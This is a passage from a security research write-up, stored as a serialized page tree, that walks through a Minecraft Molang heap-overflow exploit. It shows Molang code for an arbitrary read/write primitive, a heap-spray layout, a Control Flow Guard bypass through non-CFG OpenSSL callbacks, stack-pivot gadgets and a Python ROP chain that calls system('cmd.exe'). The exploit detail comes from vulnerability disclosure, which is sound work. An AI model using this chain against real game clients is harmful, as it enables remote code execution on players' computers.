0x38);\nvariable.calculated_lower_16 = variable.corrupted_len_ptr;\n\n// calculate middle 16, check if lower 16 calculation overflows\nvariable.corrupted_len_ptr = variable.saved_vtable_middle_16;\nvariable.corrupted_cap_ptr = 0;\n(variable.calculated_lower_16 >= itof(0x10000)) ? {\n variable.corrupted_len_ptr = variable.corrupted_len_ptr + itof(0x1);\n};\nvariable.calculated_middle_16 = variable.corrupted_len_ptr;\n\n// calculate high 16, check if middle 16 calculation overflows\nvariable.corrupted_len_ptr = variable.saved_vtable_high_16;\nvariable.corrupted_cap_ptr = 0;\n(variable.calculated_middle_16 >= itof(0x10000)) ? {\n variable.corrupted_len_ptr = variable.corrupted_len_ptr + itof(0x1);\n};\nvariable.calculated_high_16 = variable.corrupted_len_ptr;\n\n// construct the final pointer\nvariable.corrupted_len_ptr = variable.calculated_middle_16;\nvariable.corrupted_cap_ptr = variable.calculated_high_16;\nvariable.calculated_upper_48 = variable.corrupted_len_ptr;\nvariable.corrupted_len_ptr = variable.calculated_lower_16;\nvariable.corrupted_cap_ptr = variable.calculated_upper_48;\n\n// copy the constructed pointer to MolangVariableMap\nvariable.corrupted_var_map_ptr = variable.corrupted_len_ptr;\n\n// variable.f pointer is now `vtable + 0x1000 - 0x38`\n// and the value 0x1337 is written at `vtable + 0x1000`\nvariable.f = itof(0x1337);\n",[153594],{"type":23,"tag":38,"props":153595,"children":153596},{"__ignoreMap":7},[153597],{"type":29,"value":153592},{"type":23,"tag":17563,"props":153599,"children":153601},{"id":153600},"required-heap-layout",[153602],{"type":29,"value":153603},"Required Heap Layout",{"type":23,"tag":32,"props":153605,"children":153606},{},[153607],{"type":29,"value":153608},"To ensure our attack works, the heap spray would manipulate the layout as such once the indices are overwritten:",{"type":23,"tag":131,"props":153610,"children":153612},{"code":153611}," Heap Region 1 Heap Region 2 \n \n+-------------------+ +-------------------+\n| | | |\n| MolangVariableMap | | MolangIndexMap |\n| | | |\n+-------------------+ +-------------------+\n| | | |\n| Entity Object | | Entity Object |\n| | | |\n+-------------------+ +-------------------+\n| | | |\n| MolangVariableMap | | MolangIndexMap |\n| | | |\n+-------------------+ +-------------------+\n| | | |\n| Entity Object | | Entity Object |\n| | | |\n+-------------------+ +-------------------+\n",[153613],{"type":23,"tag":38,"props":153614,"children":153615},{"__ignoreMap":7},[153616],{"type":29,"value":153611},{"type":23,"tag":32,"props":153618,"children":153619},{},[153620,153622,153628,153630,153635,153637,153642,153644,153649,153650,153655],{"type":29,"value":153621},"The first region (",{"type":23,"tag":38,"props":153623,"children":153625},{"className":153624},[],[153626],{"type":29,"value":153627},"Heap Region 1",{"type":29,"value":153629},") contains alternating ",{"type":23,"tag":38,"props":153631,"children":153633},{"className":153632},[],[153634],{"type":29,"value":151413},{"type":29,"value":153636},"-allocated buffers and entity objects. The purpose of this region is that, once a variable index is out of bounds, it can index internal ",{"type":23,"tag":38,"props":153638,"children":153640},{"className":153639},[],[153641],{"type":29,"value":151443},{"type":29,"value":153643}," pointers of ",{"type":23,"tag":38,"props":153645,"children":153647},{"className":153646},[],[153648],{"type":29,"value":151413},{"type":29,"value":313},{"type":23,"tag":38,"props":153651,"children":153653},{"className":153652},[],[153654],{"type":29,"value":151589},{"type":29,"value":153656}," from the entity object for our main attack.",{"type":23,"tag":32,"props":153658,"children":153659},{},[153660,153662,153668,153670,153675,153677,153682,153684,153689,153691,153696],{"type":29,"value":153661},"The second region (",{"type":23,"tag":38,"props":153663,"children":153665},{"className":153664},[],[153666],{"type":29,"value":153667},"Heap Region 2",{"type":29,"value":153669},") contains interleaved ",{"type":23,"tag":38,"props":153671,"children":153673},{"className":153672},[],[153674],{"type":29,"value":151589},{"type":29,"value":153676},"-allocated buffers and entity objects. This region exists so we can leak an entity object's ",{"type":23,"tag":38,"props":153678,"children":153680},{"className":153679},[],[153681],{"type":29,"value":153424},{"type":29,"value":153683}," pointer into ",{"type":23,"tag":38,"props":153685,"children":153687},{"className":153686},[],[153688],{"type":29,"value":153353},{"type":29,"value":153690}," during our main attack. It could be any object with a ",{"type":23,"tag":38,"props":153692,"children":153694},{"className":153693},[],[153695],{"type":29,"value":153424},{"type":29,"value":153697},", but for simplicity we use the entity object.",{"type":23,"tag":32,"props":153699,"children":153700},{},[153701,153703,153709,153711,153716],{"type":29,"value":153702},"During the attack, overwriting another variable's pointer with\n",{"type":23,"tag":38,"props":153704,"children":153706},{"className":153705},[],[153707],{"type":29,"value":153708},"variable.corrupted_var_map_ptr = variable.corrupted_len_ptr",{"type":29,"value":153710}," will very likely clobber the ",{"type":23,"tag":38,"props":153712,"children":153714},{"className":153713},[],[153715],{"type":29,"value":151909},{"type":29,"value":153717}," pointer of a different entity than the one subject to the initial index corruption. In practice this means: an entity affected by the initial corruption will leak and compute an arbitrary read/write address, then use that address to overwrite a variable pointer in a second, separate entity. The second entity is then used purely to perform arbitrary reads and writes via that variable.",{"type":23,"tag":32,"props":153719,"children":153720},{},[153721],{"type":29,"value":153722},"Because of this cross-entity behavior, we must synchronize all entities. At the time we implemented the exploit we couldn't find a clean way to force synchronized execution. Our workaround was to place all allocated entities at the same world position and put the Molang script into the animation section. Animation scripts are not executed for entities outside the client's field of view, so none of the Molang code runs until the entities become visible.",{"type":23,"tag":32,"props":153724,"children":153725},{},[153726],{"type":29,"value":153727},"The final exploit proceeds in three stages:",{"type":23,"tag":116,"props":153729,"children":153730},{},[153731,153736,153741],{"type":23,"tag":120,"props":153732,"children":153733},{},[153734],{"type":29,"value":153735},"Position the player so the sprayed entities are out of view (their Molang scripts remain dormant)",{"type":23,"tag":120,"props":153737,"children":153738},{},[153739],{"type":29,"value":153740},"Perform the heap spray with signs to create the desired layout for the attack",{"type":23,"tag":120,"props":153742,"children":153743},{},[153744],{"type":29,"value":153745},"Move the client so all sprayed entities enter the field of view - their animation scripts (our Molang payload) then execute, triggering the leak and the subsequent arbitrary read/write primitive.",{"type":23,"tag":17563,"props":153747,"children":153749},{"id":153748},"initial-corruption-variant-lfh-heap-approach",[153750],{"type":29,"value":153751},"Initial Corruption Variant: LFH Heap Approach",{"type":23,"tag":32,"props":153753,"children":153754},{},[153755],{"type":29,"value":153756},"As mentioned above, LFH heap chunks have no headers and chunk data is adjacent, so the attack can also be carried out in the LFH heap instead of the VS heap. In that case the chunk overlap method is unnecessary - the overflown 4-byte value can be used directly to overwrite the first two variable indices.",{"type":23,"tag":32,"props":153758,"children":153759},{},[153760,153762,153767,153768,153774],{"type":29,"value":153761},"There is no variable at index 0 in the global variable map because when a new variable is encountered it is assigned ",{"type":23,"tag":38,"props":153763,"children":153765},{"className":153764},[],[153766],{"type":29,"value":151656},{"type":29,"value":5161},{"type":23,"tag":38,"props":153769,"children":153771},{"className":153770},[],[153772],{"type":29,"value":153773},"last_index",{"type":29,"value":153775}," is initialized to 0 at program start. Therefore the first two bytes of the 4-byte overflow are irrelevant - only the last two bytes overwrite a single variable index.",{"type":23,"tag":32,"props":153777,"children":153778},{},[153779,153781,153786,153787,153792,153794,153799,153801,153806,153808,153813,153815,153821,153822,153828,153829,153835],{"type":29,"value":153780},"The main attack can be arranged by making the resulting index point at the ",{"type":23,"tag":38,"props":153782,"children":153784},{"className":153783},[],[153785],{"type":29,"value":148609},{"type":29,"value":152394},{"type":23,"tag":38,"props":153788,"children":153790},{"className":153789},[],[153791],{"type":29,"value":151589},{"type":29,"value":153793},". From there, the script can overwrite three variable indices at offset ",{"type":23,"tag":38,"props":153795,"children":153797},{"className":153796},[],[153798],{"type":29,"value":151347},{"type":29,"value":153800}," within the ",{"type":23,"tag":38,"props":153802,"children":153804},{"className":153803},[],[153805],{"type":29,"value":151589},{"type":29,"value":153807}," by using the string type. This works because a Molang string's value is just a ",{"type":23,"tag":38,"props":153809,"children":153811},{"className":153810},[],[153812],{"type":29,"value":54114},{"type":29,"value":153814}," FNV-1 hash; the required string can be found by brute-forcing until the hash contains the three target indices. For example, to overwrite three indices with values ",{"type":23,"tag":38,"props":153816,"children":153818},{"className":153817},[],[153819],{"type":29,"value":153820},"0xfb",{"type":29,"value":480},{"type":23,"tag":38,"props":153823,"children":153825},{"className":153824},[],[153826],{"type":29,"value":153827},"0xfc",{"type":29,"value":313},{"type":23,"tag":38,"props":153830,"children":153832},{"className":153831},[],[153833],{"type":29,"value":153834},"0xfd",{"type":29,"value":153836}," the script would do:",{"type":23,"tag":131,"props":153838,"children":153840},{"code":153839},"variable.corrupted_index_map_ptr = 'r80n3jsuc';\n",[153841],{"type":23,"tag":38,"props":153842,"children":153843},{"__ignoreMap":7},[153844],{"type":29,"value":153839},{"type":23,"tag":32,"props":153846,"children":153847},{},[153848,153850,153855,153856,153862,153864,153869],{"type":29,"value":153849},"That line would write the ",{"type":23,"tag":38,"props":153851,"children":153853},{"className":153852},[],[153854],{"type":29,"value":54114},{"type":29,"value":90658},{"type":23,"tag":38,"props":153857,"children":153859},{"className":153858},[],[153860],{"type":29,"value":153861},"0x302700fb00fc00fd",{"type":29,"value":153863}," (string's FNV-1 hash) into the allocated ",{"type":23,"tag":38,"props":153865,"children":153867},{"className":153866},[],[153868],{"type":29,"value":151589},{"type":29,"value":153870}," buffer, overwriting three indices with the required values and setting up the desired arbitrary read / write primitive state.",{"type":23,"tag":8287,"props":153872,"children":153874},{"id":153873},"hijacking-execution",[153875],{"type":29,"value":153876},"Hijacking Execution",{"type":23,"tag":32,"props":153878,"children":153879},{},[153880,153882,153887,153889,153895],{"type":29,"value":153881},"Although we can read and write arbitrary values inside the Minecraft memory region - including many ",{"type":23,"tag":38,"props":153883,"children":153885},{"className":153884},[],[153886],{"type":29,"value":153424},{"type":29,"value":153888}," and function pointers in the writable ",{"type":23,"tag":38,"props":153890,"children":153892},{"className":153891},[],[153893],{"type":29,"value":153894},".data",{"type":29,"value":153896}," section - the exploit is not complete: Control Flow Guard (CFG) prevents us from gaining arbitrary code execution by overwriting those pointers and executing a ROP chain.",{"type":23,"tag":32,"props":153898,"children":153899},{},[153900],{"type":29,"value":153901},"CFG is a runtime mitigation that blocks indirect jumps/calls to unapproved addresses; it will crash on an indirect transfer to a location not in its valid-target set.",{"type":23,"tag":32,"props":153903,"children":153904},{},[153905],{"type":29,"value":153906},"Examining Minecraft-specific functions and their disassembly shows the following:",{"type":23,"tag":32,"props":153908,"children":153909},{},[153910],{"type":23,"tag":2591,"props":153911,"children":153913},{"alt":49057,"src":153912},"/posts/minecraft-heap-overflow-to-rce/image11.png",[],{"type":23,"tag":32,"props":153915,"children":153916},{},[153917,153919,153925,153927,153933,153935,153940,153942,153947,153949,153955,153957,153962,153964,153970,153972,153977],{"type":29,"value":153918},"This snippet calls a method on an object: ",{"type":23,"tag":38,"props":153920,"children":153922},{"className":153921},[],[153923],{"type":29,"value":153924},"rcx",{"type":29,"value":153926}," holds the object pointer, the first ",{"type":23,"tag":38,"props":153928,"children":153930},{"className":153929},[],[153931],{"type":29,"value":153932},"mov",{"type":29,"value":153934}," loads the object's ",{"type":23,"tag":38,"props":153936,"children":153938},{"className":153937},[],[153939],{"type":29,"value":153424},{"type":29,"value":153941}," into ",{"type":23,"tag":38,"props":153943,"children":153945},{"className":153944},[],[153946],{"type":29,"value":55254},{"type":29,"value":153948},", and the function pointer at ",{"type":23,"tag":38,"props":153950,"children":153952},{"className":153951},[],[153953],{"type":29,"value":153954},"rax + 0x8",{"type":29,"value":153956}," is read into ",{"type":23,"tag":38,"props":153958,"children":153960},{"className":153959},[],[153961],{"type":29,"value":55254},{"type":29,"value":153963},". Finally, ",{"type":23,"tag":38,"props":153965,"children":153967},{"className":153966},[],[153968],{"type":29,"value":153969},"__guard_dispatch_icall_fptr",{"type":29,"value":153971}," is called - this is the CFG dispatch function that validates ",{"type":23,"tag":38,"props":153973,"children":153975},{"className":153974},[],[153976],{"type":29,"value":55254},{"type":29,"value":153978}," as a legal call target before invoking it.",{"type":23,"tag":32,"props":153980,"children":153981},{},[153982],{"type":29,"value":153983},"All DLLs in the Minecraft directory are compiled with CFG. However, we later found an assembly snippet in the Minecraft executable that calls an object method directly, without a CFG dispatch:",{"type":23,"tag":32,"props":153985,"children":153986},{},[153987],{"type":23,"tag":2591,"props":153988,"children":153990},{"alt":49057,"src":153989},"/posts/minecraft-heap-overflow-to-rce/image12.png",[],{"type":23,"tag":32,"props":153992,"children":153993},{},[153994,153996,154002,154004,154010],{"type":29,"value":153995},"Here, the function pointer at ",{"type":23,"tag":38,"props":153997,"children":153999},{"className":153998},[],[154000],{"type":29,"value":154001},"vtable + 0x10",{"type":29,"value":154003}," is loaded into ",{"type":23,"tag":38,"props":154005,"children":154007},{"className":154006},[],[154008],{"type":29,"value":154009},"rdx",{"type":29,"value":154011}," and then called directly.",{"type":23,"tag":32,"props":154013,"children":154014},{},[154015],{"type":29,"value":154016},"This code comes from OpenSSL, and none of the OpenSSL-specific sections contain CFG dispatch calls. Presumably OpenSSL was compiled without CFG and then statically linked into the executable.",{"type":23,"tag":32,"props":154018,"children":154019},{},[154020,154022,154027],{"type":29,"value":154021},"So the remaining task is to locate OpenSSL function or ",{"type":23,"tag":38,"props":154023,"children":154025},{"className":154024},[],[154026],{"type":29,"value":153424},{"type":29,"value":154028}," pointers within Minecraft's writable sections and use those as overwrite targets to hijack execution.",{"type":23,"tag":17563,"props":154030,"children":154032},{"id":154031},"locating-overwrite-targets",[154033],{"type":29,"value":154034},"Locating Overwrite Targets",{"type":23,"tag":32,"props":154036,"children":154037},{},[154038,154040,154046,154047,154052,154054,154059,154061,154067],{"type":29,"value":154039},"One of the first targets we identified were the ",{"type":23,"tag":38,"props":154041,"children":154043},{"className":154042},[],[154044],{"type":29,"value":154045},"malloc",{"type":29,"value":313},{"type":23,"tag":38,"props":154048,"children":154050},{"className":154049},[],[154051],{"type":29,"value":148657},{"type":29,"value":154053}," callbacks. These reside in the ",{"type":23,"tag":38,"props":154055,"children":154057},{"className":154056},[],[154058],{"type":29,"value":153894},{"type":29,"value":154060}," section and are invoked whenever they don’t match the expected ",{"type":23,"tag":38,"props":154062,"children":154064},{"className":154063},[],[154065],{"type":29,"value":154066},"OPENSSL_malloc/free",{"type":29,"value":130515},{"type":23,"tag":32,"props":154069,"children":154070},{},[154071],{"type":23,"tag":2591,"props":154072,"children":154074},{"alt":49057,"src":154073},"/posts/minecraft-heap-overflow-to-rce/image13.png",[],{"type":23,"tag":32,"props":154076,"children":154077},{},[154078],{"type":29,"value":154079},"However, none of the registers held a pointer to a controllable region where we could place our ROP chain.",{"type":23,"tag":32,"props":154081,"children":154082},{},[154083,154085,154091,154093,154099,154101,154106],{"type":29,"value":154084},"Later, we found another promising function: ",{"type":23,"tag":38,"props":154086,"children":154088},{"className":154087},[],[154089],{"type":29,"value":154090},"ossl_ec_key_new_method_int",{"type":29,"value":154092},". This function creates and initializes an ",{"type":23,"tag":38,"props":154094,"children":154096},{"className":154095},[],[154097],{"type":29,"value":154098},"EC_KEY",{"type":29,"value":154100}," object. What makes it particularly interesting is that it relies on a global structure (in ",{"type":23,"tag":38,"props":154102,"children":154104},{"className":154103},[],[154105],{"type":29,"value":153894},{"type":29,"value":154107},") containing function pointers:",{"type":23,"tag":32,"props":154109,"children":154110},{},[154111],{"type":23,"tag":2591,"props":154112,"children":154114},{"alt":49057,"src":154113},"/posts/minecraft-heap-overflow-to-rce/image14.png",[],{"type":23,"tag":32,"props":154116,"children":154117},{},[154118,154120,154126,154127,154133,154135,154140,154142,154148,154150,154155,154157,154162,154164,154169],{"type":29,"value":154119},"In the image above, ",{"type":23,"tag":38,"props":154121,"children":154123},{"className":154122},[],[154124],{"type":29,"value":154125},"ret->meth",{"type":29,"value":123979},{"type":23,"tag":38,"props":154128,"children":154130},{"className":154129},[],[154131],{"type":29,"value":154132},"default_ec_key_meth",{"type":29,"value":154134},", which points to a structure of function pointers located in ",{"type":23,"tag":38,"props":154136,"children":154138},{"className":154137},[],[154139],{"type":29,"value":153894},{"type":29,"value":154141},". It then calls ",{"type":23,"tag":38,"props":154143,"children":154145},{"className":154144},[],[154146],{"type":29,"value":154147},"ret->meth->init",{"type":29,"value":154149},", passing the ",{"type":23,"tag":38,"props":154151,"children":154153},{"className":154152},[],[154154],{"type":29,"value":16370},{"type":29,"value":154156}," pointer (",{"type":23,"tag":38,"props":154158,"children":154160},{"className":154159},[],[154161],{"type":29,"value":9670},{"type":29,"value":154163},"). This alone isn’t especially useful because ",{"type":23,"tag":38,"props":154165,"children":154167},{"className":154166},[],[154168],{"type":29,"value":9670},{"type":29,"value":154170}," is heap-allocated.",{"type":23,"tag":32,"props":154172,"children":154173},{},[154174,154176,154181],{"type":29,"value":154175},"But, if we look at how ",{"type":23,"tag":38,"props":154177,"children":154179},{"className":154178},[],[154180],{"type":29,"value":154147},{"type":29,"value":154182}," is invoked in the disassembly:",{"type":23,"tag":32,"props":154184,"children":154185},{},[154186],{"type":23,"tag":2591,"props":154187,"children":154189},{"alt":49057,"src":154188},"/posts/minecraft-heap-overflow-to-rce/image15.png",[],{"type":23,"tag":32,"props":154191,"children":154192},{},[154193,154194,154199,154201,154206,154208,154213,154215,154220,154222,154227,154229,154234,154236,154241,154243,154249],{"type":29,"value":6154},{"type":23,"tag":38,"props":154195,"children":154197},{"className":154196},[],[154198],{"type":29,"value":154147},{"type":29,"value":154200}," is not ",{"type":23,"tag":38,"props":154202,"children":154204},{"className":154203},[],[154205],{"type":29,"value":52975},{"type":29,"value":154207},", it is called while ",{"type":23,"tag":38,"props":154209,"children":154211},{"className":154210},[],[154212],{"type":29,"value":55254},{"type":29,"value":154214}," still contains the value of ",{"type":23,"tag":38,"props":154216,"children":154218},{"className":154217},[],[154219],{"type":29,"value":154125},{"type":29,"value":154221}," - that is, a pointer to the structure in ",{"type":23,"tag":38,"props":154223,"children":154225},{"className":154224},[],[154226],{"type":29,"value":153894},{"type":29,"value":154228}," that we control. This is ideal, because we can overwrite ",{"type":23,"tag":38,"props":154230,"children":154232},{"className":154231},[],[154233],{"type":29,"value":154132},{"type":29,"value":154235}," with a pointer to a region in ",{"type":23,"tag":38,"props":154237,"children":154239},{"className":154238},[],[154240],{"type":29,"value":153894},{"type":29,"value":154242}," where our ROP chain is located, and then perform a stack pivot using a ",{"type":23,"tag":38,"props":154244,"children":154246},{"className":154245},[],[154247],{"type":29,"value":154248},"mov rsp, rax; ret",{"type":29,"value":154250},"-style gadget.",{"type":23,"tag":32,"props":154252,"children":154253},{},[154254,154256,154261,154263,154268],{"type":29,"value":154255},"Although we discovered that ",{"type":23,"tag":38,"props":154257,"children":154259},{"className":154258},[],[154260],{"type":29,"value":154090},{"type":29,"value":154262}," is never called by the Minecraft process, this did not turn out to be a problem as we had already found a way to trigger arbitrary function calls through the ",{"type":23,"tag":38,"props":154264,"children":154266},{"className":154265},[],[154267],{"type":29,"value":154066},{"type":29,"value":154269}," callbacks.",{"type":23,"tag":17563,"props":154271,"children":154273},{"id":154272},"stack-pivot",[154274],{"type":29,"value":154275},"Stack Pivot",{"type":23,"tag":32,"props":154277,"children":154278},{},[154279,154281,154286,154288,154293,154295,154300,154302,154308],{"type":29,"value":154280},"At this point, the plan is as follows: write our ROP chain into a controlled region of ",{"type":23,"tag":38,"props":154282,"children":154284},{"className":154283},[],[154285],{"type":29,"value":153894},{"type":29,"value":154287},", overwrite ",{"type":23,"tag":38,"props":154289,"children":154291},{"className":154290},[],[154292],{"type":29,"value":154132},{"type":29,"value":154294}," to set up the stack pivot, and finally overwrite one of the callbacks so that calling it triggers ",{"type":23,"tag":38,"props":154296,"children":154298},{"className":154297},[],[154299],{"type":29,"value":154090},{"type":29,"value":154301},". This ultimately calls ",{"type":23,"tag":38,"props":154303,"children":154305},{"className":154304},[],[154306],{"type":29,"value":154307},"default_ec_key_meth->init",{"type":29,"value":154309},", which executes the pivot and begins ROP execution.",{"type":23,"tag":32,"props":154311,"children":154312},{},[154313,154315,154321,154323,154329],{"type":29,"value":154314},"We chose to overwrite the ",{"type":23,"tag":38,"props":154316,"children":154318},{"className":154317},[],[154319],{"type":29,"value":154320},"OPENSSL_free",{"type":29,"value":154322}," callback. This produces only a minor memory leak, while overwriting ",{"type":23,"tag":38,"props":154324,"children":154326},{"className":154325},[],[154327],{"type":29,"value":154328},"OPENSSL_malloc",{"type":29,"value":154330}," would require our replacement function to return a writable, unused memory region.",{"type":23,"tag":32,"props":154332,"children":154333},{},[154334,154336,154342,154343,154349,154351,154356],{"type":29,"value":154335},"For the stack pivot, we found two useful gadgets: ",{"type":23,"tag":38,"props":154337,"children":154339},{"className":154338},[],[154340],{"type":29,"value":154341},"add rsp, 0x10; pop r14; ret",{"type":29,"value":313},{"type":23,"tag":38,"props":154344,"children":154346},{"className":154345},[],[154347],{"type":29,"value":154348},"xchg rsp, rax; ret",{"type":29,"value":154350},". The exploit writes them into ",{"type":23,"tag":38,"props":154352,"children":154354},{"className":154353},[],[154355],{"type":29,"value":153894},{"type":29,"value":154357}," like this:",{"type":23,"tag":131,"props":154359,"children":154361},{"code":154360}," +-----------------------------+\n+0x00 | add rsp, 0x10; pop r14; ret |\n +-----------------------------+\n+0x08 | padding |\n +-----------------------------+\n+0x10 | xchg rsp, rax; ret |\n +-----------------------------+\n+0x18 | padding (pop r14) |\n +-----------------------------+\n+0x20 | ROP Chain |\n +-----------------------------+\n",[154362],{"type":23,"tag":38,"props":154363,"children":154364},{"__ignoreMap":7},[154365],{"type":29,"value":154360},{"type":23,"tag":32,"props":154367,"children":154368},{},[154369,154371,154376,154378,154383,154385,154390,154392,154397,154399,154404,154406,154411,154413,154418],{"type":29,"value":154370},"The second gadget, ",{"type":23,"tag":38,"props":154372,"children":154374},{"className":154373},[],[154375],{"type":29,"value":154348},{"type":29,"value":154377},", is placed in the slot corresponding to the ",{"type":23,"tag":38,"props":154379,"children":154381},{"className":154380},[],[154382],{"type":29,"value":19412},{"type":29,"value":154384}," function pointer. As mentioned earlier, when ",{"type":23,"tag":38,"props":154386,"children":154388},{"className":154387},[],[154389],{"type":29,"value":154147},{"type":29,"value":154391}," is called, ",{"type":23,"tag":38,"props":154393,"children":154395},{"className":154394},[],[154396],{"type":29,"value":55254},{"type":29,"value":154398}," contains a pointer to ",{"type":23,"tag":38,"props":154400,"children":154402},{"className":154401},[],[154403],{"type":29,"value":154132},{"type":29,"value":154405}," - which we have overwritten and now points to our ",{"type":23,"tag":38,"props":154407,"children":154409},{"className":154408},[],[154410],{"type":29,"value":154341},{"type":29,"value":154412}," gadget in ",{"type":23,"tag":38,"props":154414,"children":154416},{"className":154415},[],[154417],{"type":29,"value":153894},{"type":29,"value":322},{"type":23,"tag":32,"props":154420,"children":154421},{},[154422,154424,154430,154432,154437,154439,154445,154447,154452,154454,154459,154461,154466,154468,154473,154475,154480,154482,154487],{"type":29,"value":154423},"When the call occurs, ",{"type":23,"tag":38,"props":154425,"children":154427},{"className":154426},[],[154428],{"type":29,"value":154429},"xchg rsp, rax",{"type":29,"value":154431}," swaps the stack pointer with this controlled pointer inside ",{"type":23,"tag":38,"props":154433,"children":154435},{"className":154434},[],[154436],{"type":29,"value":153894},{"type":29,"value":154438},", effectively moving ",{"type":23,"tag":38,"props":154440,"children":154442},{"className":154441},[],[154443],{"type":29,"value":154444},"rsp",{"type":29,"value":154446}," into our ROP region. After the ",{"type":23,"tag":38,"props":154448,"children":154450},{"className":154449},[],[154451],{"type":29,"value":9670},{"type":29,"value":154453},", execution continues at ",{"type":23,"tag":38,"props":154455,"children":154457},{"className":154456},[],[154458],{"type":29,"value":154341},{"type":29,"value":154460},", which advances ",{"type":23,"tag":38,"props":154462,"children":154464},{"className":154463},[],[154465],{"type":29,"value":154444},{"type":29,"value":154467}," by ",{"type":23,"tag":38,"props":154469,"children":154471},{"className":154470},[],[154472],{"type":29,"value":43010},{"type":29,"value":154474}," bytes, skipping over the padding and the ",{"type":23,"tag":38,"props":154476,"children":154478},{"className":154477},[],[154479],{"type":29,"value":154348},{"type":29,"value":154481}," gadget. From there, the stack pivot is complete and the ROP chain (placed above ",{"type":23,"tag":38,"props":154483,"children":154485},{"className":154484},[],[154486],{"type":29,"value":154348},{"type":29,"value":154488},") begins executing.",{"type":23,"tag":8287,"props":154490,"children":154492},{"id":154491},"rop-chain",[154493],{"type":29,"value":154494},"ROP Chain",{"type":23,"tag":32,"props":154496,"children":154497},{},[154498,154500,154506,154508,154513],{"type":29,"value":154499},"For the demo, the ROP chain simply calls ",{"type":23,"tag":38,"props":154501,"children":154503},{"className":154502},[],[154504],{"type":29,"value":154505},"system(\"cmd.exe\")",{"type":29,"value":154507},". Because Minecraft does not use ",{"type":23,"tag":38,"props":154509,"children":154511},{"className":154510},[],[154512],{"type":29,"value":130237},{"type":29,"value":154514},", the symbol is not imported, so the chain must resolve it dynamically.",{"type":23,"tag":32,"props":154516,"children":154517},{},[154518,154520,154526,154528,154534,154536,154541,154543,154549,154551,154556],{"type":29,"value":154519},"This is straightforward: the chain first calls ",{"type":23,"tag":38,"props":154521,"children":154523},{"className":154522},[],[154524],{"type":29,"value":154525},"GetModuleHandle(\"ucrtbase.dll\")",{"type":29,"value":154527}," to obtain the base address of ",{"type":23,"tag":38,"props":154529,"children":154531},{"className":154530},[],[154532],{"type":29,"value":154533},"ucrtbase.dll",{"type":29,"value":154535}," (which exports ",{"type":23,"tag":38,"props":154537,"children":154539},{"className":154538},[],[154540],{"type":29,"value":130237},{"type":29,"value":154542},"). It then calls ",{"type":23,"tag":38,"props":154544,"children":154546},{"className":154545},[],[154547],{"type":29,"value":154548},"GetProcAddress(ucrtbase_addr, \"system\")",{"type":29,"value":154550}," to retrieve the function’s address. Finally, it invokes ",{"type":23,"tag":38,"props":154552,"children":154554},{"className":154553},[],[154555],{"type":29,"value":130237},{"type":29,"value":154557}," with the \"cmd.exe\" string.",{"type":23,"tag":32,"props":154559,"children":154560},{},[154561],{"type":29,"value":154562},"In the exploit script, the ROP chain looks something like this:",{"type":23,"tag":131,"props":154564,"children":154566},{"code":154565,"language":18132,"meta":7,"className":18133,"style":7},"# get the address of `GetModuleHandle` to `rax`\nrop.gadget(pop_r8)\nrop.gadget(addr_get_module_handle_a - 0x28)\n# 0x0000000145dcd83d : mov rax, qword ptr [r8 + 0x28] ; ret\nrop.gadget(mov_rax_r8_28)\n\n# call `GetModuleHandle(\"ucrtbase.dll\")`\nrop.gadget(pop_rcx)\nrop.gadget(0x7468B68) # offset of \"ucrtbase.dll\" string\nrop.gadget(ret) # movaps alignment\nrop.gadget(push_rax_ret) # calls `GetModuleHandle`\nrop.literal(u64(b\"ucrtbase\"))\nrop.literal(u64(b\".dll\\x00\\x00\\x00\\x00\"))\nrop.literal(u64(b\"system\\x00\\x00\"))\n\n# call `GetProcAddress(ucrtbase_base, \"system\")`\nrop.gadget(xchg_rcx_rax) # move the return value of `GetModuleHandle` to rcx\nrop.gadget(pop_rdx)\nrop.gadget(0x7468B68 + 0x10) # offset of \"system\" string\nrop.gadget(get_proc_addr)\n\n# call `system(\"cmd.exe\")`\nrop.gadget(pop_rcx)\nrop.gadget(0x7468DB8) # offset of \"cmd.exe\" string\nrop.gadget(ret) # movaps alignment\nrop.gadget(push_rax_ret) # calls `system`\nrop.literal(u64(b\"cmd.exe\\x00\"))\n",[154567],{"type":23,"tag":38,"props":154568,"children":154569},{"__ignoreMap":7},[154570,154578,154586,154611,154619,154627,154634,154642,154650,154677,154690,154703,154724,154753,154782,154789,154797,154810,154818,154854,154862,154869,154877,154884,154909,154920,154932],{"type":23,"tag":141,"props":154571,"children":154572},{"class":143,"line":144},[154573],{"type":23,"tag":141,"props":154574,"children":154575},{"style":443},[154576],{"type":29,"value":154577},"# get the address of `GetModuleHandle` to `rax`\n",{"type":23,"tag":141,"props":154579,"children":154580},{"class":143,"line":180},[154581],{"type":23,"tag":141,"props":154582,"children":154583},{"style":154},[154584],{"type":29,"value":154585},"rop.gadget(pop_r8)\n",{"type":23,"tag":141,"props":154587,"children":154588},{"class":143,"line":205},[154589,154594,154598,154603,154607],{"type":23,"tag":141,"props":154590,"children":154591},{"style":154},[154592],{"type":29,"value":154593},"rop.gadget(addr_get_module_handle_a ",{"type":23,"tag":141,"props":154595,"children":154596},{"style":160},[154597],{"type":29,"value":3004},{"type":23,"tag":141,"props":154599,"children":154600},{"style":449},[154601],{"type":29,"value":154602}," 0x",{"type":23,"tag":141,"props":154604,"children":154605},{"style":472},[154606],{"type":29,"value":133354},{"type":23,"tag":141,"props":154608,"children":154609},{"style":154},[154610],{"type":29,"value":758},{"type":23,"tag":141,"props":154612,"children":154613},{"class":143,"line":218},[154614],{"type":23,"tag":141,"props":154615,"children":154616},{"style":443},[154617],{"type":29,"value":154618},"# 0x0000000145dcd83d : mov rax, qword ptr [r8 + 0x28] ; ret\n",{"type":23,"tag":141,"props":154620,"children":154621},{"class":143,"line":227},[154622],{"type":23,"tag":141,"props":154623,"children":154624},{"style":154},[154625],{"type":29,"value":154626},"rop.gadget(mov_rax_r8_28)\n",{"type":23,"tag":141,"props":154628,"children":154629},{"class":143,"line":241},[154630],{"type":23,"tag":141,"props":154631,"children":154632},{"emptyLinePlaceholder":15},[154633],{"type":29,"value":719},{"type":23,"tag":141,"props":154635,"children":154636},{"class":143,"line":262},[154637],{"type":23,"tag":141,"props":154638,"children":154639},{"style":443},[154640],{"type":29,"value":154641},"# call 